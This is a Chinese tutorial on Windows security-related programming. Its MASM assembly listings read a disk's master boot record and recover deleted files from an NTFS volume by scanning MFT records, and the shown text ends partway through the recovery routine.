VisualC++信息安全编程

(1)内联汇编实现NT下读MBR

  1. MBR,全称为Master Boot Record,即硬盘的主引导记录。   
MBR,全称为Master Boot Record,即硬盘的主引导记录。 

 为了便于理解,一般将MBR分为广义和狭义两种:广义的MBR包含整个扇区(引导程序、分区表及分隔标识),也就是上面所说的主引导记录;而狭义的MBR仅指引导程序而言。  

硬盘的0柱面、0磁头、1扇区称为主引导扇区(也叫主引导记录MBR)。它由三个部分组成,主引导程序、硬盘分区表DPT(Disk Partition table)和硬盘有效标志(55AA)。在总共512字节的主引导扇区里主引导程序(boot loader)占446个字节,第二部分是Partition table区(分区表),即DPT,占64个字节,硬盘中分区有多少以及每一分区的大小都记在其中。第三部分是magic  number,占2个字节,固定为55AA。

 

我们来实现在VC++下面实现读取MBR。

C++内联汇编

在C++代码中插入__asm {}即可

 

  1.   
 
  1.   
 
  1.   
 
  1. ;**************************************************  
  2. .386p  
  3. .model flat, stdcall      ;平坦内存模式  
  4. option casemap :none   ; 大小写敏感  
  5. ;***************************************************  
  6. include \masm32\include\windows.inc  
  7. include \masm32\include\user32.inc  
  8. include \masm32\include\kernel32.inc  
  9. include \masm32\include\advapi32.inc  
  10.         
  11. includelib \masm32\lib\user32.lib  
  12. includelib \masm32\lib\kernel32.lib  
  13. includelib \masm32\lib\advapi32.lib  
  14.   
  15. ShowError proto :DWORD  
  16. ShowBuffer proto   
  17.   
  18. .data                            ;数据段  
  19.     FileName db '\\.\PHYSICALDRIVE0',0  ;打开第一个物理硬盘  
  20.     align 4             ;双字对齐  
  21.     readed  dd  0          ;实际读出的字节数  
  22.     Buffer    db  512 dup (0)  ;存放读出的数据的缓冲区  
  23.     hFile        dd  0          ;句柄存放处  
  24.       
  25.     Caption     db 'NT中读写物理磁盘',0      ;Caption的字符串  
  26.     ErrCreate   db   '建文件错,该程序不能在Win9X下执行!',0   ;出错信息  
  27.     ErrRead     db '读盘错误!',0                           ;出错信息  
  28.       
  29.     ShowText    db   4096*3 dup (0)               ;转换后用于显示的字符串  
  30.     Number  db '0123456789ABCDEF'           ;16进制数转换为ACSII码要用到的数据  
  31.   
  32. .code                                                ;代码段  
  33. main:  
  34.     ;建立文件  
  35.     invoke CreateFile,offset FileName,\  
  36. GENERIC_READ,FILE_SHARE_READ OR FILE_SHARE_WRITE,\  
  37. NULL,OPEN_EXISTING,NULL,NULL  
  38.     mov  [hFile],eax  
  39.     cmp  eax,INVALID_HANDLE_VALUE  
  40.     jnz  read  
  41.     invoke ShowError,offset ErrCreate            ;显示错误信息  
  42. read:                                               ;读数据  
  43.     invoke ReadFile,eax,offset Buffer,512,offset readed,NULL  
  44.     cmp  eax,0  
  45.     jnz  show  
  46.     invoke ShowError,offset ErrRead         ;显示错误信息  
  47. show:                                                 
  48.     invoke ShowBuffer                           ;显示读出的内容  
  49.     invoke CloseHandle ,[hFile]                    ;关闭文件句柄  
  50.     invoke ExitProcess,0                            ;退出  
  51. ShowError  proc ,MESSAGE:DWORD                     ;显示出错信息并退出  
  52.     invoke MessageBoxA,NULL,MESSAGE,offset Caption,MB_OK  
  53.     cmp  [hFile],0  
  54.     jz   ShowErrorEnd  
  55.     invoke CloseHandle ,[hFile] ;关闭句柄  
  56. ShowErrorEnd:  
  57.     invoke ExitProcess,0        ;退出  
  58. ShowError  endp  
  59.   
  60. ShowBuffer  proc                            ;显示所读出的信息  
  61.                                             ;把16进制数据转换成ASCII码的形式  
  62.     mov  esi,offset Buffer      ;数据  
  63.     mov  edi,offset ShowText    ;转换后的数据  
  64.     mov  ebx,offset Number  
  65.     mov  ecx,0  
  66.     xor  eax,eax  
  67. Again:  
  68.     cmp  [readed],0  
  69.     jz   ConversionEnd  
  70.     dec  [readed]  
  71.     mov  al,[esi]  
  72.     push eax  
  73.              shr  eax,4                  ;高4位  
  74.     mov  al,[ebx+eax]  
  75.     mov  byte ptr[edi],al  
  76.              inc  edi  
  77.     pop  eax  
  78.     and  eax,0FH                ;低4位  
  79.              mov  al,[ebx+eax]  
  80.     mov  byte ptr[edi],al  
  81. inc  edi  
  82.              mov  byte ptr[edi],' '     ;空格  
  83.     inc  edi  
  84.              inc  esi  
  85.              inc  ecx  
  86.     cmp  ecx,16  
  87.     jnz  Again  
  88.     xor  ecx,ecx  
  89.     mov  byte ptr[edi-1],13     ;是回车  
  90.     jmp  Again  
  91. ConversionEnd:  
  92. ;显示转换后的字符串  
  93.     invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK  
  94.     ret  
  95. ShowBuffer  endp  
  96.     end main  

 (2)内联汇编实现NTFS文件恢复

NTFS是Windows NT以及之后的Windows 2000、Windows XP、Windows Server 2003、Windows Server 2008、Windows Vista和Windows 7的标准文件系统。NTFS取代了文件分配表(FAT)文件系统,为Microsoft的Windows系列操作系统提供文件系统。NTFS对FAT和HPFS(高性能文件系统)作了若干改进,例如,支持元数据,并且使用了高级数据结构,以便于改善性能、可靠性和磁盘空间利用率,并提供了若干附加扩展功能,如访问控制列表(ACL)和文件系统日志。该文件系统的详细定义属于商业秘密 ,但 Microsoft 已经将其注册为 知识产权产品。


NTFS 提供长文件名、数据保护和恢复,并通过目录和文件许可实现安全性。NTFS 支持大硬盘和在多个硬盘上存储文件(称为卷)。例如,一个大公司的数据库可能大得必须跨越不同的硬盘。NTFS 提供内置安全性特征,它控制文件的隶属关系和访问。从DOS或其他操作系统上不能直接访问 NTFS 分区上的文件。如果要在DOS下读写NTFS分区文件的话可以借助第三方软件;现如今,Linux系统上已可以使用 NTFS-3G进行对 NTFS 分区的完美读写,不必担心数据丢失。


  Win 2000采用了更新版本的NTFS文件系统NTFS 5.0,它的推出使得用户不但可以像Win 9X那样方便快捷地操作和管理计算机,同时也可享受到NTFS所带来的系统安全性。 NTFS 允许文件名的长度可达 256 个字符。虽然 DOS 用户不能访问 NTFS 分区,但是 NTFS 文件可以拷贝到 DOS 分区。每个 NTFS 文件包含一个可被 DOS 文件名格式认可的 DOS 可读文件名。这个文件名是 NTFS 从长文件名的开始字符中产生的。

 

我们来实现在VC++下面实现读取MBR。

C++内联汇编

在C++代码中插入__asm {}即可

 

我们亲自来分析实现NTFS文件恢复。

 

 

 

  1. ;******************************************************  
  2. .386  
  3. .model flat, stdcall  
  4. option casemap :none  
  5. ;******************************************************  
  6. ; Include 文件定义  
  7. ;******************************************************  
  8. include         \masm32\include\windows.inc  
  9. include         \masm32\include\user32.inc  
  10. includelib      \masm32\lib\user32.lib  
  11. include         \masm32\include\kernel32.inc  
  12. includelib      \masm32\lib\kernel32.lib  
  13. ;*******************************************************  
  14. ; Equ 等值定义  
  15. ;*******************************************************  
  16. ICO_MAIN    equ     1000h  ;图标ID  
  17. DLG_MAIN    equ     1      ;对话框ID  
  18. IDC_PARTITION   equ             101h    ;盘符名输入框ID  
  19. IDC_FILENAME    equ             102h   ;文件名ID  
  20. ;*******************************************************  
  21. ; 数据段  
  22. ;*******************************************************  
  23. .data  
  24. hFile_Disk     dd   0               ;磁盘文件号  
  25. hFile          dd   0               ;文件号   
  26. FileName       db   '\\.\'          ;打开文件名为\\.\X:形式的文件则打开了X分区  
  27. PARTITION      db   3  dup (0)      ;请注意FileName和等待用户输入的PARTITION共  
  28.                                     ;同组成了要打开的文件名(分区)  
  29. FILENAMEA      db   25 dup (0)      ;等待用户输入的字符缓存  
  30. FILENAMEU      db   50 dup (0)      ;转换成Unicode字符串的缓存  
  31. ErrCap         db   '失败',00       ;错误对话框的Caption  
  32. ErrorInfo1     db   '可能的原因是:',0dh  
  33.                db   '1.该程序不能在除NT以外的系统中执行;',0dh  
  34.                db   '2.您输入的盘符无效!',00h  
  35. ErrorInfo2     db   '读盘错误!',00  
  36. ErrorInfo3     db   '该程序只能恢复NTFS文件系统中的数据!',0dh  
  37.                db   '您打开的磁盘不是NTFS文件系统!',00h  
  38. ErrorInfo4     db   '移动文件指针错误!',00h  
  39. Info1          db   '请在当前文件夹下查看已恢复的文件!如果文件扩展名不对,请自行',0dh  
  40.                db   '修改扩展名,如果没有文件,则说明您输入的文件没有找到!',00h  
  41. Recoveried     dd   30h               ;用来存放已经恢复的文件个数0~z  
  42. _0             db   00               ;字符串结束  
  43. Readed         dd   0  
  44. System_Id      db   'NTFS'           ;DBR中NTFS卷的标志  
  45. MFT_Flag       db   'FILE'           ;MFT的标志  
  46. StateFindFile  dd   0                ;该数据是FindFile过程的返回值  
  47. StringLength   dd   0                ;该地址用于存放用户输入的文件名的输入长度  
  48. MFTTime        dd   1024  
  49. Temp           db   'Text',00  
  50. EdiOffset      dd   0                ;  
  51. IndicEdi       dd   0                ;用来在比较字符串中存放Edi所指向的字符串的指针  
  52. FileNameOffset dd   0                ;用来存放文件名偏移  
  53. FileSize       dd   0                ;用来存放常驻80H属性的文件大小  
  54. FileSize1      dq   0                ;用来存放系统分配给非常驻80H属性的大小  
  55. FileSize2      dq   0                ;用来存放非常驻80H属性的文件真实大小  
  56. Edi80          dd   0                ;用来保存非常驻80H属性的运行列表偏移  
  57. CInfo1         db   0                ;用来保存运行列表的第一个字节的低4位  
  58. CInfo2         db   0                ;用来保存运行列表的第一个字节的高4位  
  59. ResidentFlag   dd   0ffh             ;80H属性常驻与非常驻标志,为0表示常驻,为1表示非常驻  
  60. ByeofOneC      dd   0                ;每簇字节数  
  61. RunC           dd   0                ;运行相对起始簇号  
  62. RunC2          dd   0                ;运行绝对起始簇号  
  63. RunByte        dd   0                ;运行字节数  
  64. RunCN          dd   0                ;运行起始簇号  
  65. RunFirstAddr   dq   0                ;运行起始偏移字节  
  66. ;__________________________________________________________________  
  67. .data?  
  68. hInstance      dd   ?  
  69. DBR            db   512 dup (?)      ;512字节作为DBR的缓冲  
  70. MFTFirstSector dd   ?                ;MFT首扇区存放的缓冲  
  71. MFTFirstOffset dd   2 dup (?)  
  72. Filling        db   8 dup (?)        ;这个是没有用的数据,只是为了让后面的MFT在  
  73.                                      ;程序执行时起始偏移在XXXXXXX0上,方便调试  
  74. MFT            db   1024*1024 dup (?);1M作为MFT的缓冲  
  75. DataBuffer     db   1024*1024 dup (?);1M字节做为文件数据缓冲  
  76. FileNameLong   dd   ?  
  77. FileNameBuffer dw   260 dup (?)  
  78. ;*******************************************************  
  79. ; 代码段  
  80. ;*******************************************************  
  81. .code  
  82. ;*******************************************************  
  83. _ProcDlgMain    proc    uses ebx edi esi hWnd,wMsg,wParam,lParam  
  84.     mov      eax,wMsg  
  85. .if eax == WM_CLOSE         ;如果消息为WM_CLOSE,当按下右上角的关闭按钮  
  86.     invoke    EndDialog,hWnd,NULL        ;hWnd为对话框窗口句柄,结束对话框  
  87.     ret  
  88. .elseif  eax == WM_INITDIALOG             ;初始化代码  
  89.     invoke    GetDlgItem,hWnd,IDOK         ;取IDOK句柄   
  90.     invoke    EnableWindow,eax,FALSE      ;IDOK显示为灰色(确定按钮)  
  91.     invoke    LoadIcon,hInstance,ICO_MAIN     ;设置标题栏图标  
  92.     invoke    SendMessage,hWnd,WM_SETICON,ICON_BIG,eax     
  93. .elseif  eax == WM_COMMAND  
  94.     mov       eax,wParam  
  95.      ;_____________________________________________________________________  
  96.       .if  ax == IDCANCEL                         ;如果用户点击“取消”按钮  
  97.           invoke    EndDialog,hWnd,NULL           ;关闭对话框  
  98.           mov       eax,TRUE  
  99.           ret  
  100.       .elseif  ax== IDOK                           ;如果用户点击“确定”按钮  
  101.           invoke    CreateFileA,offset FileName,\  ;打开用户输入的盘符  
  102.                     GENERIC_READ OR GENERIC_WRITE,\  
  103.                     FILE_SHARE_READ OR FILE_SHARE_WRITE,\  
  104.                     NULL,OPEN_EXISTING,NULL,NULL  
  105.       mov       [hFile_Disk],eax               ;保存该分区的文件号  
  106.       cmp       eax,INVALID_HANDLE_VALUE       ;判断其是否成功(为-1失败)  
  107.       jz        _98CODE                        ;失败则转  
  108.           invoke    ReadFile,[hFile_Disk],\  
  109.                     offset DBR,512,\  
  110.                     offset Readed,NULL  
  111.       cmp       eax,0  
  112.           jz        ReadFail  
  113.           mov       edx,dword ptr [DBR+3]          ;将该分区的分区标志送edx  
  114.           mov       ebx,dword ptr System_Id        
  115.           cmp       edx,ebx                        ;是NTFS分区吗?  
  116.           jnz       P_Err                          ;不是则转  
  117.           CALL      FirstMFTOffset                 ;定位MFT的起始偏移  
  118.           invoke    SetFilePointer,[hFile_Disk],\  
  119.                     dword ptr [MFTFirstOffset],\   ;移动文件指针的低32位  
  120.                     offset MFTFirstOffset+4,\      ;移动文件指针的高32位  
  121.                     FILE_BEGIN                     ;从文件(分区)开始处计算  
  122.           cmp       eax,-1  
  123.           jz        MoveFail  
  124.        ReadMFT:  
  125.           mov       dword ptr [MFTTime],1024       ;用于计算指针是否指到了内存中的MFT尾  
  126.           invoke    ReadFile,[hFile_Disk],\        ;读1兆MFT  
  127.                     offset MFT,1024*1024,\  
  128.                     offset Readed,NULL  
  129.           add       dword ptr [MFTFirstOffset],1024*1024  ;保存当前磁盘指针  
  130.           adc       dword ptr [MFTFirstOffset+4],0   
  131.           cmp       eax,0  
  132.           jz        ReadFail  
  133.             
  134.           mov       edi,offset MFT  
  135.        CallFindFile:                         
  136.           call      FindFile             ;查找符合用户输入的已经删除的文件  
  137.               ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((  
  138.               .if     [StateFindFile]==0 ;FindFile过程返回状态数据[StateFindFile]为0  
  139.                                          ;表示所有的MFT都找完了  
  140.                    invoke    MessageBoxA,NULL,offset Info1,offset Temp,MB_OK   
  141.                    ret  
  142.               ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((          
  143.   
  144.               .elseif [StateFindFile]==1 ;FindFile过程返回状态数据[StateFindFile]为1  
  145.                                          ;表示该文件未被删除或这不是用户要恢复的文件  
  146.                 ReadToo:  
  147.                   dec dword ptr [MFTTime]   
  148.                   cmp dword ptr [MFTTime],0  
  149.                   jz  ReadMFT           ;结果为0则表示要读下1兆MFT了  
  150.                   add edi,1024          ;edi向后1K,指向下一个MFT  
  151.                   jmp CallFindFile      ;继续查找符合用户输入的已经删除的文件  
  152.               ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((                                         
  153.               .elseif [StateFindFile]==2 ;FindFile过程返回状态数据[StateFindFile]为2  
  154.                                          ;表示这是一个用户要恢复的文件(文件名包含用户输入)  
  155.                   call ReadData           ;这个过程将要恢复文件的数据读入内存中  
  156.                   ;创建要恢复的文件,文件名为原来的文件名  
  157.                  ;______________________________________________________  
  158.                      .if   dword ptr [ResidentFlag]==0       ;如果为常驻属性   
  159.                         invoke    CreateFileW,offset FileNameBuffer,\  ;创建要恢复的文件  
  160.                             GENERIC_READ OR GENERIC_WRITE,\ ;为读和写打开  
  161.                             0,NULL,\                        ;不允许文件再被打开  
  162.                             CREATE_NEW,\                 ;创建新文件,如果文件已经存在则返回失败代码  
  163.                             NULL,NULL  
  164.   
  165.   
  166.                         mov       [hFile],eax                  ;保存文件号  
  167.                         invoke    WriteFile,[hFile],\          ;写文件  
  168.                                   offset DataBuffer,[FileSize],\        
  169.                                   offset Readed,NULL  
  170.                         invoke    CloseHandle,[hFile]           ;关闭文件  
  171.                         jmp       ReadToo                       ;继续找是否还有包含用户输入的文件  
  172.                   ;_____________________________________________________  
  173.                       .elseif  dword ptr [ResidentFlag]==1    ;如果为非常驻属性   
  174.                         mov       dword ptr [RunC2],0    ;绝对起始簇号清零  
  175.                         jmp       ReadToo                    
  176.                        ;invoke    MessageBoxA,NULL,offset ErrorInfo1,offset Temp,MB_OK  
  177.                       .endif  
  178.                   ;_______________________________________________________  
  179.                   ret  
  180.               .endif  
  181.               ;((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((            
  182.   
  183.   
  184.   
  185.   
  186.         _98CODE:            
  187.           invoke    MessageBoxA,NULL,offset ErrorInfo1,offset ErrCap,MB_OK  
  188.           mov       eax,TRUE  
  189.           ret  
  190.         ReadFail:  
  191.           invoke    CloseHandle,[hFile_Disk]        ;关闭文件(关闭分区)  
  192.           invoke    MessageBoxA,NULL,offset ErrorInfo2,offset ErrCap,MB_OK  
  193.           mov       eax,TRUE  
  194.           ret  
  195.         P_Err:  
  196.           invoke    CloseHandle,[hFile_Disk]        ;关闭文件(关闭分区)  
  197.           invoke    MessageBoxA,NULL,offset ErrorInfo3,offset ErrCap,MB_OK  
  198.           mov       eax,TRUE  
  199.           ret  
  200.         MoveFail:  
  201.           invoke    CloseHandle,[hFile_Disk]        ;关闭文件(关闭分区)  
  202.           invoke    MessageBoxA,NULL,offset ErrorInfo4,offset ErrCap,MB_OK  
  203.           mov       eax,TRUE  
  204.           ret         
  205.       ;_____________________________________________________________________  
  206.       .elseif  ax == IDC_PARTITION                     ;如果用户在盘符文本框中输入  
  207.           invoke    SendDlgItemMessage,hWnd,\          ;限制文本输入为2个字符  
  208.                     IDC_PARTITION,EM_LIMITTEXT,2,NULL     
  209.           invoke    GetDlgItemText,hWnd,IDC_PARTITION,\   
  210.                     addr PARTITION,sizeof PARTITION    ;取用户输入文本到PARTITION处  
  211.           invoke    GetDlgItem,hWnd,IDOK               ;取IDOK句柄(确定按钮)   
  212.           invoke    EnableWindow,eax,TRUE              ;置确定按钮为可用  
  213.           mov       eax,TRUE  
  214.           ret  
  215.       ;_____________________________________________________________________  
  216.       .elseif  ax == IDC_FILENAME                   ;如果用在文件名文本框中输入  
  217.           invoke    SendDlgItemMessage,hWnd,\       ;限制文本输入为24个字符  
  218.                     IDC_FILENAME,EM_LIMITTEXT,24,NULL  
  219.           invoke    GetDlgItemText,hWnd,IDC_FILENAME,\  ;取用户输入到FILENAMEA处  
  220.                     addr FILENAMEA,sizeof FILENAMEA  
  221.           call      CompString                     ;计算用户输入的字符的长度,并保存在StringLength处  
  222.           ;将ANSI字符串转换为Unicode字符串  
  223.           invoke    MultiByteToWideChar,1,0,addr FILENAMEA,\ ;AUSI地址FILENAMEA首地址  
  224.                     -1,addr FILENAMEU,\          ;-1为自动大小(为0结束)  
  225.                     sizeof FILENAMEU             ;转换到FILENAMEU,大小为FILENAMEU的大小  
  226.           mov       edi,offset  FILENAMEU  
  227.           call      ToCaps          ;将FILENAMEU中的Unicode字符串中的小写字母转换为大写  
  228.           mov       eax,TRUE   
  229.           ret  
  230.       .endif  
  231.       ;_____________________________________________________________________  
  232. .else  
  233.     mov      eax,FALSE  
  234.     ret  
  235. .endif  
  236.     mov      eax,TRUE  
  237.     ret  
  238. _ProcDlgMain    endp  
  239. ;*******************************************************  
  240. ;该过程用于计算用户输入的文件名的长度(Unicode的长度),并保存在StringLength处  
  241. CompString    proc  
  242.     mov  eax,00h  
  243.     mov  edi,offset FILENAMEU  
  244.   CmpString:  
  245.     cmp  byte ptr [edi],00      ;字符串是否结束  
  246.     jz   ExitProc  
  247.     inc  eax  
  248.     inc  edi  
  249.     inc  edi  
  250.     jmp  CmpString  
  251.   ExitProc:  
  252.     mov  [StringLength],eax  
  253.     ret  
  254. CompString    endp  
  255. ;*******************************************************  
  256. ;小写的Unicode字母转大写  
  257. ToCaps  proc  
  258.   Char:  
  259.     mov  bx,word ptr [edi]       ;将字符串中的一个字送BX  
  260. .while   bx>=61h && bx<=7ah       ;这个字是UNICODE小写字母么,是则执行循环体  
  261.     sub  bx,20h                  ;将其转变为大小的Unicode字符  
  262.     mov  word ptr [edi],bx       ;再将这个转变后的字符送回字符串中  
  263.     inc  edi                     ;指针加2  
  264.     inc  edi                       
  265.     mov  bx,word ptr [edi]       ;继续将下一个字符串中的一个字送BX  
  266. .break .if bx==00h                ;如果是00则表示已经到了字符串尾,则退出循环  
  267. .endw  
  268.     cmp  bx,00                   ;bx为0表示已经到了字符串的尾部  
  269.     jz   Okchar                  ;到了字符串的尾部转返回处   
  270.     inc  edi                     ;指针加2(因为是Unicode字符)  
  271.     inc  edi                                
  272.     jnz  Char                    ;不是小写Unicode字母则跳过这个字符继续做下一个字符的判断      
  273.   Okchar:  
  274.     ret  
  275. ToCaps    endp  
  276. ;*******************************************************  
  277. ;计算$MFT起始偏移,并存放在MFTFirstOffset  
  278. FirstMFTOffset  proc  
  279.     mov  edi,offset DBR  
  280.     mov  eax,dword ptr [edi+30h]  ;MFT起始簇号送eax  
  281.     mov  cl,[edi+0dh]  
  282.     movzx ebx,cl       ;每簇扇区数送ebx  
  283.     mul  ebx           ;MFT起始簇号*每簇扇区数=MFT起始扇区号,高位保存在edx中  
  284.                        ;低位保存在eax中  
  285.     mov  edi,offset MFTFirstSector  
  286.     mov  [edi],eax     ;将MFT起始扇区号保存  
  287.     mov  ebx,512       ;每扇区字节数送ebx  
  288.     mul  ebx           ;每扇区字节数*MFT起始扇区号=MFT起始偏移  
  289.     mov  edi,offset MFTFirstOffset ;放MFT起始偏移的地址送edi  
  290.     mov  [edi],eax     ;保存MFT起始偏移(低位)  
  291.     mov  [edi+4],edx     ;保存MFT起始偏移(高位)  
  292.     ;经过以上算法后,MFTFirstOffset保存的就是MFT起始偏移了  
  293.     ret  
  294. FirstMFTOffset  endp  
  295. ;*******************************************************  
  296. ;判断当前MFT是否是用户要恢复的文件  
  297. FindFile  proc  
  298.     push  edi  
  299. NextFindFile:  
  300.   ;_____________________________________________________  
  301.   .if     dword ptr [edi] != 454c4946h ;如果这不是一个合法的MFT,则表明已经读完了卷中所有的MFT  
  302.     cmp   dword ptr [edi],44414142h    ;在windows 2K中,有可能出现标志为“BAAD”的空MFT  
  303.     jnz   NoMft  
  304.     mov   [StateFindFile],1            ;[StateFindFile]赋1后退出,跳过这个MFT  
  305.     jmp   ExitProc    
  306.   NoMft:  
  307.     mov   [StateFindFile],0       ;[StateFindFile]赋0后退出  
  308.     jmp   ExitProc  
  309.   ;_____________________________________________________  
  310.   .elseif word ptr [edi+16h] != 0                        ;如果这个文件是未被删除的  
  311.     mov   [StateFindFile],1                                ;[StateFindFile]赋1后退出  
  312.     jmp   ExitProc  
  313.   ;_____________________________________________________  
  314.   .else  
  315.     add   di,word ptr [edi+14h]  
  316.     mov   dword ptr [EdiOffset],edi                            ;保存属性头开始偏移  
  317.       ;((((((((((((((((((((((((((((((((((((((((((((((((((((((  
  318.         FindAttribute:  
  319.       .if     dword ptr [edi]==30h             ;是30h属性的话  
  320.         CmpFileNameLeng:                       ;比较文件名长度  
  321.             push  edx  
  322.             pop   edx  
  323.             add   di,word ptr [edi+14h]        ;将30H属性头后的属性偏移送edi  
  324.                                                ;(属性头14H处为该属性开始的相对偏移)  
  325.             mov   edx,dword ptr [edi+30h]      ;保存文件大小,为后面恢复文件做准备                                                 
  326.             mov   dword ptr [FileSize2],edx    ;30H属性偏移30H后的8个字节是文件的实际大小  
  327.             mov   edx,dword ptr [edi+34h]        
  328.             mov   dword ptr [FileSize2+4],edx  
  329.             movzx eax,byte ptr [edi+40h]       ;edi+40中存放的是30H属性的文件名Unicode长度  
  330.             mov   dword ptr [FileNameLong],eax ;保存文件名长度  
  331.             cmp   eax,dword ptr [StringLength] ;该长度和用户输入的文件名长度进行比较  
  332.             jc    Next                         ;如果CF=1(有借位)则转,有借位则表示用户输  
  333.                                                ;入的字符串的长度大于该文件的文件名长度,  
  334.                                                ;这肯定不是用户要恢复的文件了  
  335.             jmp   CmpFileName  
  336.         Next:  
  337.             mov   edi,dword ptr [EdiOffset]    ;将属性头开始偏移送回edi  
  338.             add   edi,dword ptr [edi+4h]       ;edi为下一个属性的偏移(属性头04~07为该属性的长度)  
  339.             mov   dword ptr [EdiOffset],edi    ;保存下一个属性头开始偏移       
  340.             jmp   FindAttribute                ;继续找下一个属性  
  341.         CmpFileName:  
  342.             movzx eax,byte ptr [edi+40h]       ;该文件30H属性的文件名长度送eax  
  343.             add   edi,42h                      ;30H属性开始的偏移+42后为该文件文件名的开始偏移送edi(源串地址)  
  344.             mov   dword ptr [IndicEdi],edi     ;保存文件名的开始偏移  
  345.             mov   dword ptr [FileNameOffset],edi ;保存文件名开始偏移!!!!!!!!!!!  
  346.             sub   eax,dword ptr [StringLength] ;eax=文件名长度-用户输入的串长度  
  347.             inc   eax                          ;eax加1,结果为串比较时移动源串指针的次数  
  348.             push  edi  
  349.             call  ToCaps                       ;将小写的Unicode码转为大写,为比较串做准备  
  350.             pop   edi  
  351.             mov   ecx,dword ptr [StringLength] ;计数器=用户输入的串的长度  
  352.             mov   ebx,ecx                      ;保存用户输入串长度到ebx      
  353.             mov   esi,offset [FILENAMEU]       ;目的串地址  
  354.         Compare:  
  355.             repz cmpsw                        ;比较源串和目的串  
  356.             jz    Alike                        ;一样则说明这就是用户要恢复的文件,一样则转  
  357.             dec   eax  
  358.             cmp   eax,0                        ;为0表示比较完毕都没有发现文件名中包含了用户输入的字符串                         
  359.             jz    Next                         ;继续找下一个属性  
  360.             mov   esi,offset [FILENAMEU]       ;重新指向用户输入串的首地址目的串地址  
  361.             add   dword ptr [IndicEdi],2       ;文件名字符串向后移动两个单位,指向下一个字符  
  362.             mov   edi,dword ptr [IndicEdi]  
  363.             mov   ecx,ebx                      ;比较的次数=用户输入的串的长度   
  364.             jmp   Compare                      ;转比较处                         
  365.         Alike:  
  366.             xor   eax,eax  
  367.             mov   edi,offset FileNameBuffer  
  368.             mov   ecx,128                      ;循环128次,将文件名缓冲区清零  
  369.         ClearBuffer:  
  370.             mov   dword ptr [edi],eax    
  371.             add   edi,4                            
  372.             loop  ClearBuffer                    ;清除文件名缓冲区  
  373.             mov   esi,dword ptr [FileNameOffset] ;源地址为30H属性中文件名的开始  
  374.             mov   edi,offset FileNameBuffer      ;目标地址为FileNameBuffer  
  375.             mov   ecx,dword ptr [FileNameLong]   ;传送次数为文件名长度  
  376.             rep   movsw                          ;拷贝文件名到FileNameBuffer中  
  377.             mov   [StateFindFile],2            ;这就是用户要恢复的文件[StateFindFile]赋值2后退出  
  378.             jmp   ExitProc     
  379.       ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((        
  380.       .elseif dword ptr [edi]==0ffffffffh      ;是属性结束的话,说明这个文件不是用户要恢复的  
  381.             mov   [StateFindFile],1            ;[StateFindFile]赋1后退出  
  382.             jmp   ExitProc  
  383.       ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((  
  384.       .else                                     ;是其他属性的话直接将指针加上属性长度得到后面的属性开始,重新判断  
  385.             jmp   Next  
  386.              
  387.       .endif  
  388.       ;(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((  
  389.   .endif  
  390.   ExitProc:  
  391.     pop  edi                        ;将该MFT的起始偏移写回edi  
  392.     ret        
  393. FindFile  endp  
  394. ;*******************************************************  
  395. ReadData  proc  
  396.     push  edi                       ;保存要恢复文件的MFT的开始地址  
  397.     add   di,word ptr [edi+14h]  
  398.   FindNext:  
  399.     mov   dword ptr [EdiOffset],edi   ;保存属性头开始偏移  
  400.  .if      dword ptr [edi]==80h        ;是80h属性的话  
  401.     cmp   byte  ptr [edi+9h],0        ;该80H属性是否有属性名[edi+09H]为0表示没有属性名  
  402.     jnz   Next                        ;有属性名的80H属性不是用户数据属性,跳过这个属性,比较下一个  
  403.         .if   byte ptr [edi+08]==0        ;[edi+08]==0(一个字节) 表示该属性为常驻属性  
  404.             movzx  eax,word ptr [edi+14h]   ;属性开始的偏移(属性头的长度)送eax  
  405.             mov    ebx,dword ptr [edi+4h]   ;包括属性头长度在内的属性长度  
  406.             sub    ebx,eax                  ;ebsx=包括属性头长度在内的属性长度 - 属性头的长度=用户数据的长度(文件大小)  
  407.             mov    dword ptr [FileSize],ebx ;文件大小  
  408.             mov    ecx,ebx                  ;循环次数为文件大小  
  409.             mov    esi,edi                  ;把80H属性头开始的偏移送esi  
  410.             add    si,word ptr [edi+14h]    ;把80H属性开始的偏移送esi(源地址)  
  411.             mov    edi,offset DataBuffer    ;把数据缓存区的地址送edi(目的地址)  
  412.             rep    movsb                    ;将要恢复的用户数据传到DataBuffer中  
  413.             inc    dword ptr [Recoveried]   ;每恢复一个文件将[Recoveried]加1  
  414.             mov    dword ptr [ResidentFlag],0 ;给常驻与非常驻标志置0,表示常驻   
  415.             jmp    ExitProc       
  416.         .elseif byte ptr [edi+08]==1      ;[edi+08]==1(一个字节)表示该属性为非常驻属性  
  417.             ;获取文件的大小  
  418.             mov    edx,dword ptr [edi+30h]      ;保存文件大小,为后面恢复文件做准备                                                 
  419.             mov    dword ptr [FileSize1],edx    ;80H属性头偏移30H后的8个字节是文件的真实大小  
  420.             mov    edx,dword ptr [edi+34h]        
  421.             mov    dword ptr [FileSize1+4],edx  
  422.             invoke    CreateFileW,offset FileNameBuffer,\  ;创建要恢复的文件  
  423.                       GENERIC_READ OR GENERIC_WRITE,\ ;为读和写打开  
  424.                       0,NULL,\                        ;不允许文件再被打开  
  425.                       CREATE_NEW,\                 ;创建新文件,如果文件已经存在则返回失败代码  
  426.                       NULL,NULL  
  427.             mov       [hFile],eax                  ;保存文件号  
  428.               
  429.             push   edi                          ;保存edi  
  430.             push   eax                          ;保存eax              
  431.             mov    edi,offset DBR  
  432.             mov    cl,byte ptr [edi+0dh]  
  433.             movzx  ebx,cl       ;每簇扇区数送ebx  
  434.             mov    eax,512  
  435.             mul    ebx           ;每簇扇区数乘以每扇区字节数=每簇字节数  
  436.             mov    dword ptr [ByeofOneC],eax ;每簇字节数保存到ByeofOneC  
  437.             pop    eax  
  438.             pop    edi  
  439.             xor    ebx,ebx  
  440.             mov    bx,word ptr [edi+20h]  
  441.             add    edi,ebx    ;把80H属性运行列表开始的偏移送edi  
  442.   
  443.          Recover:  
  444.             call   RunInfo   ;获取运行起始字节偏移(在RunFirstAddr处),和该运行占有的字节数(在RunByte处)  
  445.             invoke    SetFilePointer,[hFile_Disk],\ ;移动文件指针到运行数据开始处  
  446.                       dword ptr [RunFirstAddr],\   ;移动文件指针的低32位  
